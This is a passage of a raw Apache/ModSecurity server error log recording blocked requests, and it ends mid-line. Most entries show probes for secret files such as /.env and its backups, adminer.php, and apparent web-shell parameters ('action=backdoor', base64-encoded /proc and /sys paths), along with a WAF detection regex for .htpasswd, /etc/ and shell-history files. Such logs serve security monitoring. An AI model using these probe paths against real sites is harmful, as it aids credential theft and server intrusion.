[security2:error] [pid 648189:tid 648385] [client 207.241.173.18:50686] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/app/.env"] [unique_id "ai3y3lWSojQL4F7upKBc5gAAAKU"] [Sat Jun 13 18:16:30.060591 2026] [security2:error] [pid 648189:tid 648415] [client 207.241.173.18:50738] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/web/.env"] [unique_id "ai3y3lWSojQL4F7upKBc3QAAAMI"] [Sat Jun 13 18:16:30.064424 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.95:37059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:30.069089 2026] [access_compat:error] [pid 648189:tid 648250] [remote 57.141.14.95:37059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:30.450905 2026] [security2:error] [pid 648189:tid 648475] [client 185.177.72.9:14942] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/__tests__/test-become/.env"] [unique_id "ai3y3lWSojQL4F7upKBdBgAAAPk"] [Sat Jun 13 18:16:30.454123 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.100:55349] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:30.454426 2026] [access_compat:error] [pid 648189:tid 648269] [remote 57.141.14.100:55349] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:30.608638 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:16:30.609093 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:16:30.665784 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.64:31090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:30.666132 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.64:31090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:30.839845 2026] [security2:error] [pid 648189:tid 648222] [remote 17.241.227.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y3lWSojQL4F7upKBdGgAAxwI"] [Sat Jun 13 18:16:30.962126 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.22:32426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:30.962572 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.22:32426] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:31.080753 2026] [access_compat:error] [pid 648189:tid 648265] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL3Rhc2s= [Sat Jun 13 18:16:31.081165 2026] [access_compat:error] [pid 648189:tid 648265] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL3Rhc2s= [Sat Jun 13 18:16:31.166604 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:16:31.167063 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:16:31.415903 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.53:52308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:31.416332 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.53:52308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:31.477145 2026] [security2:error] [pid 648189:tid 648268] [remote 74.7.242.16:39450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3y31WSojQL4F7upKBdOAAAvS4"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxODAzL3Rhc2s= [Sat Jun 13 18:16:31.554170 2026] [security2:error] [pid 648189:tid 648468] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/xsl/tests/xsltprocessor_removeParameter-invalidparam.phpt"] [unique_id "ai3y31WSojQL4F7upKBdPAAAAPI"] [Sat Jun 13 18:16:31.683157 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MQ== [Sat Jun 13 18:16:31.683616 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0MQ== [Sat Jun 13 18:16:31.805595 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.92:59718] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:31.805779 2026] [security2:error] [pid 648189:tid 648421] [client 207.241.173.18:51310] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.bak"] [unique_id "ai3y31WSojQL4F7upKBdSgAAAMg"] [Sat Jun 13 18:16:31.806029 2026] [access_compat:error] [pid 648189:tid 648325] [remote 57.141.14.92:59718] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:31.860437 2026] [security2:error] [pid 648189:tid 648274] [remote 17.241.75.47:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 47.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y31WSojQL4F7upKBdTgAA-zQ"] [Sat Jun 13 18:16:31.910829 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.84:57760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:31.914610 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.84:57760] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:31.957182 2026] [security2:error] [pid 648189:tid 648305] [remote 17.241.75.246:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 246.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y31WSojQL4F7upKBdUgAAuVM"] [Sat Jun 13 18:16:32.144139 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?act=download&file=bind_mode&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:16:32.144587 2026] [access_compat:error] [pid 646876:tid 646968] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=bind_mode&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:16:32.233071 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:16:32.233542 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:16:32.297055 2026] [security2:error] [pid 648189:tid 648382] [client 207.241.173.18:50624] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.backup"] [unique_id "ai3y4FWSojQL4F7upKBdZAAAAKI"] [Sat Jun 13 18:16:32.344759 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.71:23442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:32.345185 2026] [access_compat:error] [pid 648189:tid 648291] [remote 57.141.14.71:23442] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:32.679687 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:32.680130 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:32.721752 2026] [security2:error] [pid 648189:tid 648467] [client 185.177.72.9:14942] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/_static/.env"] [unique_id "ai3y4FWSojQL4F7upKBdcgAAAPE"] [Sat Jun 13 18:16:32.782623 2026] [security2:error] [pid 646876:tid 646961] [remote 17.22.237.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y4NyTkdrNlD40tSGpMgAAMFI"] [Sat Jun 13 18:16:32.857408 2026] [security2:error] [pid 648189:tid 648471] [client 185.177.72.9:14942] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/a.php"] [unique_id "ai3y4FWSojQL4F7upKBddgAAAPU"] [Sat Jun 13 18:16:32.897158 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.29:55285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:32.897602 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.29:55285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:33.067831 2026] [access_compat:error] [pid 648189:tid 648285] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:33.068275 2026] [access_compat:error] [pid 648189:tid 648285] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:33.119390 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.110:45016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:33.119878 2026] [access_compat:error] [pid 648189:tid 648286] [remote 57.141.14.110:45016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:33.122183 2026] [security2:error] [pid 648189:tid 648416] [client 185.177.72.9:14946] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/acme-challenge/.env"] [unique_id "ai3y4VWSojQL4F7upKBdggAAAMM"] [Sat Jun 13 18:16:33.200487 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 